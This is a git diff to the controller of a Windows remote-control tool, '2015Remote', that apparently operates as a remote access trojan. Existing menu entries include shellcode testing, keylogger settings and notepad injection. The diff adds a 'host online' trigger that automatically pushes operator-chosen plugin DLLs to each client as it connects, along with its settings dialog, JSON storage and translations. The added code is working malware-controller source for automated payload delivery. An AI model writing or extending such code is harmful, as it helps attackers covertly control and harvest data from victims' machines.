diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 773ec5d..3a0fcdb 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 0adb03f..90346b0 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -70,6 +70,7 @@ #include "NotifySettingsDlg.h" #include "FrpsForSubDlg.h" #include "PluginSettingsDlg.h" +#include "TriggerSettingsDlg.h" #include "common/key.h" #include "UIBranding.h" @@ -590,6 +591,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL); m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH); m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE); + // New menu icons + m_bmOnline[51].LoadBitmap(IDB_BITMAP_TRIGGER); + m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP); + m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -826,6 +831,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin) ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins) ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings) + ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad) @@ -925,6 +931,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu() m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]); m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]); m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]); + m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]); m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]); // Tools menu m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]); @@ -943,10 +950,11 @@ VOID CMy2015RemoteDlg::CreateSolidMenu() m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]); m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]); m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]); - m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]); + m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[53], &m_bmOnline[53]); m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]); m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]); m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]); + m_MainMenu.SetMenuItemBitmaps(ID_WEB_REMOTE_CONTROL, MF_BYCOMMAND, &m_bmOnline[52], &m_bmOnline[52]); // Help menu m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]); m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]); @@ -5483,6 +5491,10 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) auto v = LoginInfor->ParseReserved(RES_MAX); AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject); delete LoginInfor; + + // 执行主机上线触发器 + ExecuteOnlineTrigger(ContextObject); + return S_OK; } catch(...) { Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str()); @@ -8493,6 +8505,55 @@ void CMy2015RemoteDlg::OnToolPluginSettings() dlg.DoModal(); } +void CMy2015RemoteDlg::OnTriggerSettings() +{ + if (m_DllList.empty()) { + MessageBoxL(_TR("插件列表为空,无法创建触发器"), _TR("提示"), MB_ICONINFORMATION); + return; + } + CTriggerSettingsDlg dlg(m_DllList, this); + dlg.DoModal(); +} + +void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx) +{ + if (!ctx || m_DllList.empty()) return; + + // 快速检查是否有上线触发器(使用缓存,无磁盘IO) + if (!TriggerManager::Instance().HasOnlineTrigger()) { + return; + } + + // 获取触发器插件列表(从缓存获取) + auto pluginNames = TriggerManager::Instance().GetOnlinePlugins(); + if (pluginNames.empty()) { + return; + } + + Mprintf("[Trigger] Host online trigger activated for %s\n", ctx->GetPeerName().c_str()); + + // 遍历触发器配置的插件列表 + for (const auto& pluginName : pluginNames) { + // 查找对应的 DLL + DllInfo* targetDll = nullptr; + for (auto& dll : m_DllList) { + if (dll && dll->Name == pluginName) { + targetDll = dll; + break; + } + } + + if (!targetDll || !targetDll->Data) { + Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str()); + continue; + } + + // 发送 DLL 到客户端 + Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str()); + ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length()); + } +} + context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) { CString clientIP(ip.c_str()); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index d2a287d..05bb7e4 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -267,7 +267,7 @@ public: bool IsDllRequestLimited(const std::string& ip); void RecordDllRequest(const std::string& ip); CMenu m_MainMenu; - CBitmap m_bmOnline[51]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons uint64_t m_superID; std::map m_RemoteWnds; FileTransformCmd m_CmdList; @@ -453,6 +453,8 @@ public: afx_msg void OnShellcodeTestAesBin(); afx_msg void OnToolReloadPlugins(); afx_msg void OnToolPluginSettings(); + afx_msg void OnTriggerSettings(); + void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx); afx_msg void OnShellcodeAesCArray(); afx_msg void OnParamKblogger(); afx_msg void OnOnlineInjNotepad(); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 084af72..bc91b2b 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -338,6 +338,7 @@ + @@ -387,6 +388,7 @@ NotUsing + NotUsing diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index f4d7969..0ec8242 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -81,6 +81,7 @@ + @@ -184,6 +185,7 @@ + diff --git a/server/2015Remote/TriggerSettingsDlg.cpp b/server/2015Remote/TriggerSettingsDlg.cpp new file mode 100644 index 0000000..24349aa --- /dev/null +++ b/server/2015Remote/TriggerSettingsDlg.cpp @@ -0,0 +1,497 @@ +#include "stdafx.h" +#include "TriggerSettingsDlg.h" +#include "2015RemoteDlg.h" +#include "jsoncpp/json.h" +#include +#include + +#ifndef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "jsoncpp/jsoncppd.lib") +#else +#pragma comment(lib, "jsoncpp/jsoncpp.lib") +#endif +#else +#ifdef _DEBUG +#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib") +#else +#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib") +#endif +#endif + +// GBK (CP_ACP) -> UTF-8 编码转换 +static std::string GbkToUtf8(const std::string& gbkStr) +{ + if (gbkStr.empty()) return ""; + + // GBK -> WideChar + int wideLen = MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, NULL, 0); + if (wideLen <= 0) return gbkStr; + + std::wstring wideStr(wideLen, 0); + MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, &wideStr[0], wideLen); + + // WideChar -> UTF-8 + int utf8Len = WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL); + if (utf8Len <= 0) return gbkStr; + + std::string utf8Str(utf8Len, 0); + WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, &utf8Str[0], utf8Len, NULL, NULL); + + // 移除末尾的 null 字符 + if (!utf8Str.empty() && utf8Str.back() == '\0') { + utf8Str.pop_back(); + } + return utf8Str; +} + +// UTF-8 -> GBK (CP_ACP) 编码转换 +static std::string Utf8ToGbk(const std::string& utf8Str) +{ + if (utf8Str.empty()) return ""; + + // UTF-8 -> WideChar + int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, NULL, 0); + if (wideLen <= 0) return utf8Str; + + std::wstring wideStr(wideLen, 0); + MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, &wideStr[0], wideLen); + + // WideChar -> GBK + int gbkLen = WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL); + if (gbkLen <= 0) return utf8Str; + + std::string gbkStr(gbkLen, 0); + WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, &gbkStr[0], gbkLen, NULL, NULL); + + // 移除末尾的 null 字符 + if (!gbkStr.empty() && gbkStr.back() == '\0') { + gbkStr.pop_back(); + } + return gbkStr; +} + +BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx) + ON_BN_CLICKED(IDC_BTN_SAVE, &CTriggerSettingsDlg::OnBnClickedBtnSave) + ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd) + ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove) + ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers) +END_MESSAGE_MAP() + +CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector& dllList, CWnd* pParent) + : CDialogLangEx(IDD_DIALOG_TRIGGER_SETTINGS, pParent) + , m_DllList(dllList) +{ +} + +CTriggerSettingsDlg::~CTriggerSettingsDlg() +{ +} + +void CTriggerSettingsDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogLangEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_COMBO_TRIGGER_TYPE, m_comboTriggerType); + DDX_Control(pDX, IDC_LIST_TRIGGER_PLUGINS, m_listPlugins); + DDX_Control(pDX, IDC_LIST_TRIGGERS, m_listTriggers); +} + +BOOL CTriggerSettingsDlg::OnInitDialog() +{ + CDialogLangEx::OnInitDialog(); + + InitControls(); + + // 加载配置 + m_Configs = LoadTriggerConfigs(); + + // 加载插件列表 + LoadPluginsToList(); + + // 加载已配置的触发器 + LoadTriggersToList(); + + return TRUE; +} + +void CTriggerSettingsDlg::InitControls() +{ + // 初始化触发类型下拉框 + m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线")); + m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE); + + // 初始化插件列表 + m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_CHECKBOXES); + m_listPlugins.InsertColumn(0, _TR("插件名称"), LVCFMT_LEFT, 160); + + // 初始化已配置触发器列表 + m_listTriggers.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); + m_listTriggers.InsertColumn(0, _TR("触发器"), LVCFMT_LEFT, 160); + + // 设置静态文本 + SetWindowText(_TR("触发器设置")); + GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:")); + GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:")); +} + +void CTriggerSettingsDlg::LoadPluginsToList() +{ + m_listPlugins.DeleteAllItems(); + + int index = 0; + for (const auto& dll : m_DllList) { + if (!dll || !dll->Data) continue; + + m_listPlugins.InsertItem(index, CString(dll->Name.c_str())); + m_listPlugins.SetItemData(index, (DWORD_PTR)dll); + index++; + } + + // 如果有已配置的主机上线触发器,勾选对应的插件 + TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs); + if (onlineTrigger) { + for (int i = 0; i < m_listPlugins.GetItemCount(); i++) { + DllInfo* dll = reinterpret_cast(m_listPlugins.GetItemData(i)); + if (!dll) continue; + for (const auto& pluginName : onlineTrigger->PluginNames) { + if (pluginName == dll->Name) { + m_listPlugins.SetCheck(i, TRUE); + break; + } + } + } + } +} + +void CTriggerSettingsDlg::LoadTriggersToList() +{ + m_listTriggers.DeleteAllItems(); + + const char* typeNames[] = { "主机上线" }; + + int index = 0; + for (const auto& cfg : m_Configs) { + if (!cfg.PluginNames.empty()) { + // 显示触发器类型和插件数量 + CString text; + text.Format(_T("%s (%d)"), _TR(typeNames[cfg.Type]), (int)cfg.PluginNames.size()); + m_listTriggers.InsertItem(index, text); + m_listTriggers.SetItemData(index, cfg.Type); + index++; + } + } +} + +void CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd() +{ + // 获取选中的触发类型 + int triggerType = m_comboTriggerType.GetCurSel(); + if (triggerType < 0) return; + + // 获取勾选的插件(直接从 DllInfo 获取名称,避免编码转换问题) + std::vector selectedPlugins; + for (int i = 0; i < m_listPlugins.GetItemCount(); i++) { + if (m_listPlugins.GetCheck(i)) { + DllInfo* dll = reinterpret_cast(m_listPlugins.GetItemData(i)); + if (dll) { + selectedPlugins.push_back(dll->Name); + } + } + } + + if (selectedPlugins.empty()) { + MessageBoxL(_TR("请先选择至少一个插件"), _TR("提示"), MB_ICONINFORMATION); + return; + } + + // 查找或创建该类型的触发器 + TriggerConfig* cfg = nullptr; + for (auto& c : m_Configs) { + if (c.Type == (TriggerType)triggerType) { + cfg = &c; + break; + } + } + + if (!cfg) { + TriggerConfig newCfg; + newCfg.Type = (TriggerType)triggerType; + m_Configs.push_back(newCfg); + cfg = &m_Configs.back(); + } + + cfg->PluginNames = selectedPlugins; + + // 刷新显示 + LoadTriggersToList(); +} + +void CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove() +{ + POSITION pos = m_listTriggers.GetFirstSelectedItemPosition(); + if (!pos) return; + + int nItem = m_listTriggers.GetNextSelectedItem(pos); + TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem); + + // 从配置中移除 + for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) { + if (it->Type == type) { + m_Configs.erase(it); + break; + } + } + + // 取消插件列表的勾选 + for (int i = 0; i < m_listPlugins.GetItemCount(); i++) { + m_listPlugins.SetCheck(i, FALSE); + } + + // 刷新显示 + LoadTriggersToList(); +} + +void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult) +{ + LPNMLISTVIEW pNMLV = reinterpret_cast(pNMHDR); + *pResult = 0; + + // 只处理选中状态变化 + if (!(pNMLV->uNewState & LVIS_SELECTED)) return; + + int nItem = pNMLV->iItem; + if (nItem < 0) return; + + TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem); + + // 查找对应的触发器配置 + TriggerConfig* cfg = nullptr; + for (auto& c : m_Configs) { + if (c.Type == type) { + cfg = &c; + break; + } + } + + // 先取消所有勾选 + for (int i = 0; i < m_listPlugins.GetItemCount(); i++) { + m_listPlugins.SetCheck(i, FALSE); + } + + // 勾选该触发器配置的插件 + if (cfg) { + for (int i = 0; i < m_listPlugins.GetItemCount(); i++) { + DllInfo* dll = reinterpret_cast(m_listPlugins.GetItemData(i)); + if (!dll) continue; + for (const auto& pluginName : cfg->PluginNames) { + if (pluginName == dll->Name) { + m_listPlugins.SetCheck(i, TRUE); + break; + } + } + } + } + + // 同步下拉框选择 + m_comboTriggerType.SetCurSel(type); +} + +void CTriggerSettingsDlg::OnBnClickedBtnSave() +{ + // 先从界面收集当前选择 + int triggerType = m_comboTriggerType.GetCurSel(); + if (triggerType >= 0) { + std::vector selectedPlugins; + for (int i = 0; i < m_listPlugins.GetItemCount(); i++) { + if (m_listPlugins.GetCheck(i)) { + DllInfo* dll = reinterpret_cast(m_listPlugins.GetItemData(i)); + if (dll) { + selectedPlugins.push_back(dll->Name); + } + } + } + + // 更新或创建触发器配置 + TriggerConfig* cfg = nullptr; + for (auto& c : m_Configs) { + if (c.Type == (TriggerType)triggerType) { + cfg = &c; + break; + } + } + + if (!selectedPlugins.empty()) { + if (!cfg) { + TriggerConfig newCfg; + newCfg.Type = (TriggerType)triggerType; + m_Configs.push_back(newCfg); + cfg = &m_Configs.back(); + } + cfg->PluginNames = selectedPlugins; + } else if (cfg) { + // 如果没有选中插件,删除该触发器 + for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) { + if (it->Type == (TriggerType)triggerType) { + m_Configs.erase(it); + break; + } + } + } + } + + SaveTriggerConfigs(m_Configs); + LoadTriggersToList(); + + MessageBoxL(_TR("配置已保存"), _TR("提示"), MB_ICONINFORMATION); +} + +std::string CTriggerSettingsDlg::GetTriggerConfigPath() +{ + std::string dbPath = GetDbPath(); + size_t pos = dbPath.find_last_of("\\/"); + std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : ""; + return dir + "triggers.json"; +} + +std::vector CTriggerSettingsDlg::LoadTriggerConfigs() +{ + std::vector configs; + std::string path = GetTriggerConfigPath(); + + std::ifstream file(path); + if (!file.is_open()) { + return configs; + } + + Json::Value root; + Json::CharReaderBuilder builder; + std::string errors; + + if (!Json::parseFromStream(builder, file, &root, &errors)) { + return configs; + } + + if (!root.isArray()) { + return configs; + } + + for (const auto& item : root) { + TriggerConfig cfg; + cfg.Type = (TriggerType)item.get("type", TRIGGER_HOST_ONLINE).asInt(); + + const Json::Value& plugins = item["plugins"]; + if (plugins.isArray()) { + for (const auto& p : plugins) { + cfg.PluginNames.push_back(Utf8ToGbk(p.asString())); // UTF-8 -> GBK + } + } + + if (!cfg.PluginNames.empty()) { + configs.push_back(cfg); + } + } + + return configs; +} + +void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector& configs) +{ + std::string path = GetTriggerConfigPath(); + + Json::Value root(Json::arrayValue); + + for (const auto& cfg : configs) { + Json::Value item; + item["type"] = cfg.Type; + + Json::Value plugins(Json::arrayValue); + for (const auto& name : cfg.PluginNames) { + plugins.append(GbkToUtf8(name)); // GBK -> UTF-8 + } + item["plugins"] = plugins; + + root.append(item); + } + + std::ofstream file(path); + if (file.is_open()) { + Json::StreamWriterBuilder builder; + builder["indentation"] = " "; + builder["emitUTF8"] = true; // 输出可读的 UTF-8 字符,而非 \uXXXX + std::unique_ptr writer(builder.newStreamWriter()); + writer->write(root, &file); + file.close(); // 确保文件完全写入并关闭 + } + + // 通知 TriggerManager 重新加载缓存 + TriggerManager::Instance().Reload(); +} + +TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector& configs) +{ + for (auto& cfg : configs) { + if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) { + return &cfg; + } + } + return nullptr; +} + +// ============================================ +// TriggerManager 实现 +// ============================================ + +TriggerManager::TriggerManager() : m_bLoaded(false) +{ + InitializeCriticalSection(&m_cs); +} + +TriggerManager::~TriggerManager() +{ + DeleteCriticalSection(&m_cs); +} + +void TriggerManager::LoadFromDisk() +{ + // 不加锁,由调用者保证线程安全 + m_OnlinePlugins.clear(); + + auto configs = CTriggerSettingsDlg::LoadTriggerConfigs(); + for (const auto& cfg : configs) { + if (cfg.Type == TRIGGER_HOST_ONLINE) { + for (const auto& name : cfg.PluginNames) { + m_OnlinePlugins.insert(name); + } + } + } + m_bLoaded = true; +} + +void TriggerManager::Reload() +{ + EnterCriticalSection(&m_cs); + LoadFromDisk(); + LeaveCriticalSection(&m_cs); +} + +bool TriggerManager::HasOnlineTrigger() +{ + EnterCriticalSection(&m_cs); + if (!m_bLoaded) { + LoadFromDisk(); + } + bool has = !m_OnlinePlugins.empty(); + LeaveCriticalSection(&m_cs); + return has; +} + +std::set TriggerManager::GetOnlinePlugins() +{ + EnterCriticalSection(&m_cs); + if (!m_bLoaded) { + LoadFromDisk(); + } + std::set result = m_OnlinePlugins; // 复制一份返回 + LeaveCriticalSection(&m_cs); + return result; +} diff --git a/server/2015Remote/TriggerSettingsDlg.h b/server/2015Remote/TriggerSettingsDlg.h new file mode 100644 index 0000000..b6428b2 --- /dev/null +++ b/server/2015Remote/TriggerSettingsDlg.h @@ -0,0 +1,99 @@ +#pragma once + +#include "resource.h" +#include "LangManager.h" +#include +#include +#include + +// 前向声明 +struct DllInfo; + +// 触发器类型 +enum TriggerType { + TRIGGER_HOST_ONLINE = 0, // 主机上线 + // 后续可扩展更多类型 +}; + +// 触发器配置 +struct TriggerConfig { + TriggerType Type; // 触发类型 + std::vector PluginNames; // 要执行的插件名称列表 + + TriggerConfig() : Type(TRIGGER_HOST_ONLINE) {} +}; + +// 触发器管理器(单例,线程安全,缓存配置) +class TriggerManager { +public: + static TriggerManager& Instance() { + static TriggerManager instance; + return instance; + } + + // 获取主机上线触发器的插件名称集合(高性能查询) + std::set GetOnlinePlugins(); + + // 重新加载配置(保存后调用) + void Reload(); + + // 检查是否有上线触发器 + bool HasOnlineTrigger(); + +private: + TriggerManager(); + ~TriggerManager(); + TriggerManager(const TriggerManager&) = delete; + TriggerManager& operator=(const TriggerManager&) = delete; + + void LoadFromDisk(); + + CRITICAL_SECTION m_cs; + std::set m_OnlinePlugins; // 缓存的上线触发器插件名称 + bool m_bLoaded; +}; + +// 触发器设置对话框 +class CTriggerSettingsDlg : public CDialogLangEx +{ +public: + CTriggerSettingsDlg(std::vector& dllList, CWnd* pParent = nullptr); + virtual ~CTriggerSettingsDlg(); + + enum { IDD = IDD_DIALOG_TRIGGER_SETTINGS }; + + // 静态方法:加载触发器配置 + static std::vector LoadTriggerConfigs(); + // 静态方法:保存触发器配置 + static void SaveTriggerConfigs(const std::vector& configs); + // 静态方法:获取配置文件路径 + static std::string GetTriggerConfigPath(); + // 静态方法:获取主机上线触发器(如果存在) + static TriggerConfig* GetOnlineTrigger(std::vector& configs); + +protected: + virtual void DoDataExchange(CDataExchange* pDX); + virtual BOOL OnInitDialog(); + + DECLARE_MESSAGE_MAP() + + afx_msg void OnBnClickedBtnSave(); + afx_msg void OnBnClickedBtnTriggerAdd(); + afx_msg void OnBnClickedBtnTriggerRemove(); + afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult); + +private: + void InitControls(); + void LoadPluginsToList(); + void LoadTriggersToList(); + void UpdateTriggerDisplay(); + +private: + std::vector& m_DllList; // 引用主对话框的 DLL 列表 + std::vector m_Configs; // 触发器配置列表 + + // 控件变量 + CComboBox m_comboTriggerType; + CListCtrl m_listPlugins; + CListCtrl m_listTriggers; +}; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 2460d02..6ccea6e 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1803,3 +1803,19 @@ IOCP ر=Close (&S)=Plugin Settings(&S) ˿ - =Proxy Port - AutoRun +; Trigger Settings Dialog - English Translation +; Format: Simplified Chinese=English + +(&G)=Tri&gger +=Trigger Settings +:=Trigger Type: +ִж:=Action: +=Host Online +=Plugin Name +=Trigger +õĴ=Configured Triggers + >>=Add >> +<< Ƴ=<< Remove +бΪգ޷=Plugin list is empty, cannot create trigger +ѡһ=Please select at least one plugin + diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index b1d5898..90c5001 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1795,3 +1795,18 @@ IOCP ر=P] (&S)=(&S) ˿ - =˿ - +; Trigger Settings Dialog - Traditional Chinese Translation +; Format: Simplified Chinese=Traditional Chinese + +(&G)=|l(&G) +=|lO +:=|l: +ִж:=Є: +=CϾ +=Q +=|l +õĴ=O|l + >>= >> +<< Ƴ=<< Ƴ +бΪգ޷=бգo|l +ѡһ=Ոxһ diff --git a/server/2015Remote/res/Bitmap/PluginConfig.bmp b/server/2015Remote/res/Bitmap/PluginConfig.bmp new file mode 100644 index 0000000..9ed9f79 Binary files /dev/null and b/server/2015Remote/res/Bitmap/PluginConfig.bmp differ diff --git a/server/2015Remote/res/Bitmap/Trigger.bmp b/server/2015Remote/res/Bitmap/Trigger.bmp new file mode 100644 index 0000000..4949b28 Binary files /dev/null and b/server/2015Remote/res/Bitmap/Trigger.bmp differ diff --git a/server/2015Remote/res/Bitmap/WebDesktop.bmp b/server/2015Remote/res/Bitmap/WebDesktop.bmp new file mode 100644 index 0000000..cc6290e Binary files /dev/null and b/server/2015Remote/res/Bitmap/WebDesktop.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index bd75b71..29e61ee 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -248,6 +248,9 @@ #define IDB_BITMAP8 369 #define IDB_BITMAP_CANCELSHARE 369 #define IDD_DIALOG_PLUGIN_SETTINGS 370 +#define IDB_BITMAP_TRIGGER 372 +#define IDB_BITMAP_WEBDESKTOP 373 +#define IDB_BITMAP_PLUGINCONFIG 374 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -953,6 +956,15 @@ #define ID_33046 33046 #define ID_PROXY_PORT_AUTORUN 33047 #define ID_EXIT_FULLSCREEN 40001 +#define ID_TRIGGER_SETTINGS 33048 +#define IDD_DIALOG_TRIGGER_SETTINGS 371 +#define IDC_COMBO_TRIGGER_TYPE 2539 +#define IDC_LIST_TRIGGER_PLUGINS 2540 +#define IDC_BTN_TRIGGER_ADD 2541 +#define IDC_BTN_TRIGGER_REMOVE 2542 +#define IDC_LIST_TRIGGERS 2543 +#define IDC_STATIC_TRIGGER_TYPE 2544 +#define IDC_STATIC_TRIGGER_ACTION 2545 // Next default values for new objects //